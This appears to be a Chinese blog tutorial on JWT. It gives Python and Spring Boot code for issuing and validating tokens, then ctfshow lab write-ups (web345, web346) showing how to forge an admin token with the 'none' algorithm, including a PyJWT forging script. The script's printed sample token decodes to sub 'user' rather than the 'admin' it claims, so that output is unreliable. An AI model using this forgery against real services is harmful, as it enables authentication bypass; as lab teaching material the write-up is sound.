jwt
JSON Web Token,是一种用于Web应用程序的安全令牌,即身份认证,由服务器端在验证客户端身份之后生成并返回给客户端,客户端在登陆之后每次访问服务器都要携带该参数
和传统的 cookie,session 不同,jwt 是无状态的 token,服务端不会保存任何信息,适合一次性的命令认证
通常由三个部分组成:header + payload + signature,每部分由'.'连接
header:包括令牌的类型和加密算法,
payload:包含有关用户或实体的信息,例如身份验证数据,
signature:用于验证令牌是否被篡改。
在线解析网站: https://jwt.io/
多语言的 jwt 实现
Python
需要安装 PyJWT 库
import jwt
import datetime
# 1. 配置密钥和算法
SECRET_KEY = "your-secret-key" # 实际使用中应使用强随机字符串
ALGORITHM = "HS256"
def create_token(user_id):
"""生成 JWT Token"""
# Payload: 包含需要传递的信息,例如用户ID、过期时间
payload = {
"user_id": user_id,
"exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1), # 过期时间:1小时
"iat": datetime.datetime.utcnow(), # 签发时间
}
# 生成 Token
token = jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)
return token
def decode_token(token):
"""验证并解析 JWT Token"""
try:
# 解码并验证签名
payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGORITHM])
return payload
except jwt.ExpiredSignatureError:
return "Token 已过期"
except jwt.InvalidTokenError:
return "无效的 Token"
my_token = create_token(user_id=123)
print("生成的Token:\n", my_token)
decoded_payload = decode_token(my_token)
print("\n解析的Payload:\n", decoded_payload)
Java SpringBoot
引入依赖
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.11.5</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.11.5</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId> <!-- or jjwt-gson if Gson is preferred -->
<version>0.11.5</version>
</dependency>
<!--低版本jjwt-->
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>0.9.1</version>
</dependency>
实现
@Component
public class JwtUtil {
@Value("${jwt.secret}")
private String secret;
@Value("${jwt.expiration}")
private Long expiration;
/**
* 生成JWT令牌
*/
public String generateToken(String username, String userId) {
Date now = new Date();
Date expiryDate = new Date(now.getTime() + expiration * 1000);
return Jwts.builder()
.setSubject(username)
.claim("userId", userId)
.setIssuedAt(now)
.setExpiration(expiryDate)
.signWith(SignatureAlgorithm.HS512, secret)
.compact();
}
/**
* 从JWT令牌中获取用户名
*/
public String getUsernameFromToken(String token) {
Claims claims = getClaimsFromToken(token);
return claims.getSubject();
}
/**
* 从JWT令牌中获取用户ID
*/
public String getUserIdFromToken(String token) {
Claims claims = getClaimsFromToken(token);
return claims.get("userId", String.class);
}
/**
* 验证JWT令牌是否有效
*/
public Boolean validateToken(String token) {
try {
Claims claims = getClaimsFromToken(token);
return !isTokenExpired(claims);
} catch (Exception e) {
return false;
}
}
/**
* 从令牌中获取Claims
*/
private Claims getClaimsFromToken(String token) {
return Jwts.parser()
.setSigningKey(secret)
.parseClaimsJws(token)
.getBody();
}
/**
* 判断令牌是否过期
*/
private Boolean isTokenExpired(Claims claims) {
Date expiration = claims.getExpiration();
return expiration.before(new Date());
}
}
实战
ctfshow web345
None无签名认证
打开题目,f12发现hint:<!--/admin-->,访问/admin
抓包发现重定向到/admin/了,
这里有必要提一句/admin表示的是admin.php文件,而/admin/表示的是admin目录下的文件,默认是index.php

发现一串cookie值,取auth的值,用jwt.io进行解码

发现alg是None算法,无加密
于是这里直接修改sub的值为admin(因为一开始是user,很明显要修改为admin)
然后选一下上面的加密算法(好像都可以)

复制这串Encoded的签名到cookie中,发包得到flag

ctfshow web346
None算法绕过签名
和上题一样获取cookie进行解码

发现是HS256加密作签名
而JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的。
所以我们只需要把Header中的加密算法改为none,sub改为admin即可
这里使用python脚本进行加密
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1685934422,
"exp": 1685941622,
"nbf": 1685934422,
"sub": "admin",
"jti": "939c89347dc9f094d5bd33799cf3a4d4"
}
headers = {"alg": "none", "typ": "JWT"}
jwt_token = jwt.encode(
token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
# 输出eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4NTkzNDQyMiwiZXhwIjoxNjg1OTQxNjIyLCJuYmYiOjE2ODU5MzQ0MjIsInN1YiI6InVzZXIiLCJqdGkiOiI5MzljODkzNDdkYzlmMDk0ZDViZDMzNzk5Y2YzYTRkNCJ9.
在/admin/下传入cookie获取flag
